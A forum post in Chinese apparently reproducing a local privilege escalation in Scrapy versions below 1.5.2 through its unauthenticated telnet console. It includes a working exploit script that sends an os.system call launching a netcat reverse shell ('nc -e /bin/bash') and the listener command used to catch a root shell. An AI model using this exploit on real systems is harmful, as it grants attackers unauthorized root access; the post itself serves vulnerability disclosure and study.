设为首页收藏本站

EPS数据狗论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 2160|回复: 0

网络爬虫暗藏杀机:在Scrapy中利用Telnet服务LPE

[复制链接]

22

主题

189

金钱

298

积分

入门用户

发表于 2019-7-8 14:40:58 | 显示全部楼层 |阅读模式

0×00 前言
网络抓取框架中使用最多的莫过于是scrapy,然而我们是否考虑过这个框架是否存在漏洞妮?5年前曾经在scrapy中爆出过XXE漏洞,然而这次我们发现的漏洞是一个LPE。

通过该漏洞可以获得shell,本文中暴露的漏洞会产生影响scrapy低于1.5.2的版本。

0×01 环境搭建
Kali系统
  1. Scrapy(v1.5.1)[<a >https://github.com/scrapy/scrapy/releases</a>]
复制代码


下载压缩包scrapy-1.5.1.zip,然后进行解压执行安装:
  1. Python3 setup.py install
复制代码

如果安装报错,记得安装python3的pip,然后输入pip3 install Twisted 安装完Twisted模块,再次Python3 setup.py install 就可以完成安装。

0×02 漏洞分析过程
Scrapy很容易上手,就如同在官网主页上看到的一样容易,可以快速的写一个蜘蛛爬虫。然后再运行的时候我们可以看到会启动的扩展和一些选项信息,我们可以清楚的看到默认它会启动telnet服务。
1.jpg
然后这个telnet会监听本地的6023端口。

开启telnet的原因是方便调试,那么如果有人访问了这个telnet是不是可以获得一些有趣的东西,而且该控制台会不会在没有任何身份验证的情况下可用然后任何本地用户都可以连接到端口并在运行蜘蛛的用户情况下执行命令,那么是不是会造成本地权限提升(LPE)。

复现LPE
这种利用需要满足两个条件:

1. 开发可以访问系统

2. 有一个蜘蛛在运行并暴露了telnet服务。以下蜘蛛符合此要求,进行初始请求,然后因download_delay设置而空转
  1. telnet_test.py
复制代码

import scrapy

from scrapy.http import Request

class TelnetWaitingSpider(scrapy.Spider):

name = "telnet_waiting"

allowed_domains = ["example.org"]

start_urls = [" http://www.example.org "]

download_delay = 1000

def parse(self, _):

yield Request(url=" http://www.example.org/ ")

我们然后再写一个利用的exp:

exp.py:
  1. import telnetlib
  2. rs = "nc.traditional -e /bin/bash localhost 4444"
  3. tn = telnetlib.Telnet("localhost", 6023)
  4. tn.write(f"import os; os.system('{rs}')".encode("ascii") + b"\n")
复制代码


Exp.py它定义了一个反向shell,连接到telnet服务并发送一行来使用Python执行反向shell os.system。

操作流程
先使用root账户调用Scrapy去运行telnet_test.py,然后通过su调用两个低权限账号,一个负责接收nc反弹shell,一个负责执行exp.py,然后运行telnet_test的时候执行exp.py。
2.jpg
先使用nc -lvp 4444 监听4444端口;

运行指令:scrapy runspider telnet_test.py;

然后运行的时候 python3 exp.py;

然后获取反弹shell(发现是root)。
3.jpg
成功复现了一个LPE(本地权限提升)。

0×03总结
信息安全的本质是信任问题,当我们使用了框架就代表我们信任了这个框架,如果框架的安全性不对其进行检测,那么所带来的是毁灭性的结果。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

客服中心
关闭
在线时间:
周一~周五
8:30-17:30
QQ群:
653541906
联系电话:
010-85786021-8017
在线咨询
客服中心

意见反馈|网站地图|手机版|小黑屋|EPS数据狗论坛 ( 京ICP备09019565号-3 )   

Powered by BFIT! X3.4

© 2008-2028 BFIT Inc.

快速回复 返回顶部 返回列表